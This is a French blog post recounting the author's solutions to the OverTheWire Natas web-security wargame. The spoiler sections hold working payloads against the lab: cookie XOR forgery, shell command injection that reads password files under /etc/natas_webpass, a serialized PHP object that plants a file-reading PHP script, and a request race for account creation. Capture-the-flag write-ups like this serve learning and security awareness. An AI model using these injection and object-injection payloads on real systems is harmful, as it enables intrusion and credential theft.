dimanche 28 juin 2015

Challenge, petit florilège de vulnérabilités Web et Natas

Après les challenges Bandit (http://jessgallante.blogspot.fr/2015/06/le-gout-du-challenge-ou-ma-rencontre.html) et Leviathan (http://jessgallante.blogspot.fr/2015/06/challenge-ivresse-des-profondeurs-et.html) proposés par OverTheWire, je décide de me lancer dans la résolution du challenge Natas dont la thématique est ainsi résumée : "Natas teaches the basics of serverside web-security."

Ce challenge est constitué par 28 niveaux accessibles par le biais d'un (utilisateur, mot de passe) sur une url "http://natasX.natas.labs.overthewire.org" .. chacun des niveaux ayant pour objectif de démontrer l'exploitation d'une ou plusieurs vulnérabilités permettant d'obtenir le mot de passe du niveau suivant.

Je ne suis pas certaine de parvenir à résoudre toutes les énigmes. je décide donc de prendre mon temps et de rédiger ce carnet de voyage au fil de mes pérégrinations.


Mon premier jour avec Natas (20 juin 2015)

 

Les premiers niveaux de ce challenge sont simples si vous avez déjà rencontré les vulnérabilités qu'il convient d'exploiter (une grande majorité d'entre elles est par ailleurs représentative des typologies de vulnérabilités qu'il est possible de rencontrer lorsque les développements web ne font pas l'objet de revues de code orientées sécurité ou de conformité aux bonnes pratiques).

Les sept premiers niveaux nécessitent ainsi de comprendre l'indice fourni par OverTheWire et les niveaux suivants nécessitent de connaître les rudiments du langage PHP pour comprendre le code source de l'application distante et les vulnérabilités à exploiter.

Le niveau 8 nécessite un peu de script et m'a permis de découvrir une sandbox PHP tout à fait utile pour certaines épreuves de ce challenge : http://sandbox.onlinephpfunctions.com/.

Les niveaux 9 et 10 concernent l'exploitation de vulnérabilités de type RCE (enfin je crois), je me suis contentée d'aller lire le fichier de mot de passe du niveau suivant sans regarder plus avant ce qu'il était possible de faire.

Le niveau 11 m'a posé quelques difficultés. Il consiste à modifier un flag dans un cookie "protégé" par un XOR avec une "clé" que je ne connais pas (d'après ma lecture du code source) et n'ayant pas du tout envie d'apprendre à programmer en PHP, j'ai du résoudre ce challenge autrement.

Ma résolution du niveau 11 (spoiler)


Je commence donc par générer plusieurs valeurs pour ce cookie en soumettant le formulaire à ma disposition :
000000 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRwh6QUcIaAw=
111111 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRgl7QEYJaAw=
222222 : data=ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRQp4Q0UKaAw=
Je transforme ce qui m'est retourné en chaine hexadécimale :
$ echo -n "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSRwh6QUcIaAw=" | base64 -D | xxd -ps -c 60
La variation du cookie semble se produire sur la fin du cookie :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 46097b404609 680c
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 450a7843450a 680c
.. et je sais qu'un XOR (ce site est génial : http://xor.pw/) de valeurs différentes avec la même clé peut permettre de retrouver la clé :
000000 ^ 47087a414708 => 77384a717738 (w8Jqw8)
111111 ^ 46097b404609 => 77384a717738 (w8Jqw8)
222222 ^ 450a7843450a => 77384a717738 (w8Jqw8)
La clé utilisée pour xor-er ma valeur source semble donc "77384a717738" soit "w8Jqw8". Je la réutilise donc pour déchiffrer mon premier cookie :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
71773877384a71773877384a71773877384a71773877384a71773877384a717738 77384a717738 7738
{ " s U & J 9 \ : s w o r d " k S &  e " b g c o l R ; s j       0 0 0 0 0 0 4
Cela ne semble pas fonctionner complètement. Comme si ma clé était incorrecte. Après plusieurs tentatives de décalages de celle-ci et la comparaison du résultat avec le code source (je m'attend en effet à obtenir l'accès aux variables "showpassword" fixée à "no" et "bgcolor" fixée à "000000") je comprend que ma clé une répétition du pattern "w8Jq" :
0a554b221e00482b02044f2503131a70531957685d555a2d121854250355026852 47087a414708 680c
7177384a7177384a7177384a7177384a7177384a7177384a7177384a7177384a71 77384a717738 4a71
{"showpassword":"no","bgcolor":"#000000"}
Il ne me reste plus qu'à générer la valeur du cookie avec la variable "showpassword" positionnée à "yes", à la transformer en base64 et à renvoyer ma requête avec le nouveau cookie :
$ echo -n "0a554b221e00482b02044f2503131a70530e5d39535b1a28161457261e051a705354087a4147087a530a" | xxd -ps -c 60 -r | base64

Mon second jour avec Natas (21 juin 2015)


Les niveaux 12 et 13 présentent des vulnérabilités relatives à l'upload de fichiers pour lesquelles les contrôles seraient insuffisants et entraineraient, de ce fait, une possibilité de RCE.

Le niveau 14 présente une vulnérabilité de type Injection SQL exploitable manuellement (coucou <3 #Darknet <3) alors que le niveau 15 m'a obligé a utiliser mon sqlmap après plusieurs tentatives manuelles sans succès.

Le niveau 16 m'a, quant à lui, fait assez tourné la tête pour que je ferme l'écran et me laisse bercer par un concert offert par les amis de nos voisins en cette belle fin de soirée du 21 juin.

J3 Natas16 et moi (24 juin 2015)

 

Après plusieurs jours à café-scuter de ce niveau et étant résolument contre toute tentative d'attaque par force brute, je finis par trouver une méthode peu conventionnelle mais néanmoins élégante de parvenir à mes fins pour le niveau 16 et reprend mon voyage dans le monde de Natas.

Le niveau 17 concerne à nouveau l'exploitation d'une vulnérabilité de type Injection SQL ("AND/OR time-based blind") qui m'a semblé durer des heures à cause d'une mauvaise connexion Internet.

Les niveaux 18 et 19 concernent l'exploitation de vulnérabilités liées à ce qui pourrait être une malencontreuse tentative pour ré-inventer le mécanisme des sessions PHP.

Le niveau 20 est particulièrement intéressant par la démonstration d'exploitation de multiples "faibles" vulnérabilités (injection de données non contrôlées en session, affichage de messages DEBUG).

Ma résolution du niveau 16 (mon niveau NATAS préféré) (spoiler)


Le niveau 16 est similaire aux niveaux 9 et 10 mais le filtrage par liste noire est bien moins permissif:
if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
La résolution de cette énigme est possible sans attaque par force brute par la méthode peu conventionnelle suivante :
  • Lecture caractère par caractère du fichier de mot de passe du niveau suivant et positionnement de ce caractère en première position de la recherche "grep" dans le dictionnaire : 
^$(cut -c 2 /etc/natas_webpass/natas17) > le 2nd caractère est un P ou un p
^$(cut -c 3 /etc/natas_webpass/natas17) > le 3ème caractère est un S ou un s
  • Vérification manuelle pour chaque caractère du mot de passe s'il est en majuscule ou en minuscule :
$(grep -E ^.P /etc/natas_webpass/natas17) > pas de résultat donc le 2ème caractère est un P
$(grep -E ^..S /etc/natas_webpass/natas17) > résultats donc le 3ème caractère est un s
Arrivée à cette étape, je me suis rendue compte que le dictionnaire ne contenait pas de chiffres et que cette méthode ne me permettait donc pas d'identifier la valeur des caractères numériques. Je me suis donc tournée vers une astuce liée aux expressions arithmétiques :
a\{2\} > (mots du dictionnaires composés de la double lettre "aa") est équivalente à
a\{$((11-9))\} qui est elle-même équivalente à
a\{$((11-$(cut -c 1 /etc/natas_webpass/natas17)))\} si le 1er caractère est "9" ou à
a\{$((10-$(cut -c 1 /etc/natas_webpass/natas17)))\} si le 1er caractère est 8 :-)

J4 Ma semaine avec Natas (26 juin 2015)

 

Fin de la semaine et me voici à nouveau prête, entre auditions et repas de famille, à résoudre de nouvelles énigmes (ou pas).

Le niveau 21 démontre la dangerosité de partage de sessions entre vhosts du même domaine.

Le niveau 22 démontre la dangerosité d'une directive header("Location: dont le mode de fonctionnement serait imparfaitement compris par les développeurs concernés.

Les niveaux 23 et 24 démontrent la dangerosité de certaines fonctions de comparaison de chaînes de caractères dont le mode de fonctionnement serait imparfaitement compris par les développeurs concernés.

Le niveau 25 présente à nouveau avec clarté ce "vulnerability chaining" qui permet d'associer plusieurs vulnérabilités de faible sévérité pour compromettre une application (filtrage incorrect, path traversal, log et user-agent injection).

J5 Un samedi à faire des dessins avec Natas (27 juin 2015)


Le niveau 26 est un cas typique d'exploitation d'une vulnérabilité de type "unserialize()" sur une valeur Cookie contrôlée par l'utilisateur pour réaliser une injection d'objet PHP via la méthode "__destruct()" d'une classe inutilisée (https://www.owasp.org/index.php/PHP_Object_Injection).

Ma résolution du niveau 26 (spoiler)


Tout simplement par la construction d'un objet PHP qui, interprété par la méthode "__destruct()" sus-mentionnée aura pour objectif de créer un fichier PHP dans un répertoire accessible en écriture pour me permettre par la suite d'accéder au fichier contenant le sésame tant désiré (ça c'est un plan diaboliquement crystal clear pour toi ma @nathplanteur :-)  )
$ cat jess.php
<?php
class Logger{
        private $logFile = "img/jess.php";
        private $exitMsg = "<?php echo 'ok'; include('/etc/natas_webpass/natas27'); ?>";
    }
$obj = new Logger();
echo serialize($obj);
?>

$ php jess.php > jess.cookie
$ cat jess.cookie
O:6:"Logger":2:{s:15:"LoggerlogFile";s:12:"img/jess.php";s:15:"LoggerexitMsg";s:58:"<?php echo 'ok'; include('/etc/natas_webpass/natas27'); ?>";}

$ curl 'http://natas26.natas.labs.overthewire.org/?x1=1&y1=2&x2=3&y2=4' -H 'Authorization: Basic [..]' -H 'Cookie: drawing='$(cat jess.cookie | base64 | tr -d '\n') -H 'Host: natas26.natas.labs.overthewire.org'
 

J6 Natas-(es)-cape (28 juin 2015)


Le niveau 27 est pour moi, après le niveau 16, le niveau le plus compliqué du challenge Natas et je n'ai pas été capable de le résoudre sans me copier localement le code PHP pour pouvoir ajouter des messages de debug.

Ma résolution du niveau 27 (spoiler)


Les conclusions que j'ai progressivement notées pour m'aider à résoudre ce niveau ont été les suivantes :
  • je peux ajouter un utilisateur s'il n'existe pas
  • je peux ajouter un utilisateur avec un mot de passe vide en passant un paramètre "$_REQUEST["password"]" de type "array()"
  • je peux ajouter un utilisateur avec un login vide et un mot de passe en passant un paramètre "$_REQUEST["username"]" de type "array()"
  • je peux ajouter un utilisateur avec un login vide et un mot de passe vide
  • si j'utilise un paramètre de type "array()", je peux contourner la fonction  "mysql_real_escape_string()"
Ceci ne m'a absolument pas aidée :-)  et je me suis donc résolue à copier le code PHP localement pour faire des tests complémentaires :
  • si deux comptes sont nommés de la même façon et que l'un des deux comptes a un mot de passe vide alors l'appel à l'application affiche le mot de passe de l'autre compte.
  • je ne peux pas contourner les filtrages en place pour créer un second compte "natas28" mais je sais que les comptes que j'ajoute sont supprimés toutes les 5 minutes par le commentaire ("morla / 10111 // database gets cleared every 5 min")
Je commence donc par requêter l'application toutes les secondes pendant 5 minutes pour identifier quand les comptes sont supprimés (*/5 tout simplement :-/) et teste à plusieurs reprises pendant les créneaux suivants un grand nombre de requêtes pour l'ajout d'un compte natas28 avec un mot de passe que je connais.
 
Et je finis par obtenir le sésame tant attendu sur la base de requêtes  transmises entre */5:00 et */5:01 en HTTP/1.1 avec pipelining grâce à un simple ctrl-v laissé appuyé dans un netcat (je pense que cela doit faire très Hollywood comme explication alors que ma façon de faire est totalement ridicule :-/) :
GET /?username=natas28&password=jess HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Authorization: Basic [..]
GET /?username=natas28&password=jess HTTP/1.1
Host: natas27.natas.labs.overthewire.org
Authorization: Basic [..]

HTTP/1.1 200 OK
[..]
<h1>natas27</h1>
<div id="content">
User natas28 was created!<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
[..]

HTTP/1.1 200 OK
<h1>natas27</h1>
<div id="content">
Welcome natas28!<br>Here is your data:<br>Array
[..]


Conclusion


Le challenge Natas a pour moi été très intéressant en raison du florilège de vulnérabilités Web qu'il comporte : la résolution de ce challenge pourrait ainsi très certainement servir de base de travaux pratiques pour des séances de sensibilisation destinées aux développeurs Web.

L'évolution du niveau de complexité n'est néanmoins pas flagrante, certains niveaux intermédiaires doivent en effet être assez complexes à résoudre si le joueur n'a pas au préalable rencontré la famille de vulnérabilités concernée.

En conclusion Natas c'est 10 heures de jeu sur 6 jours, une folle envie de passer à un autre type de challenge et une profonde admiration pour tous les consultants et pentesters qui tentent de réaliser leur travail sans savoir si l'application, le système, l'architecture ou que-sais-je-encore qu'ils ciblent est vulnérable ou non ..

Jess - @JessicaGallante

Aucun commentaire:

Enregistrer un commentaire

Votre avis ?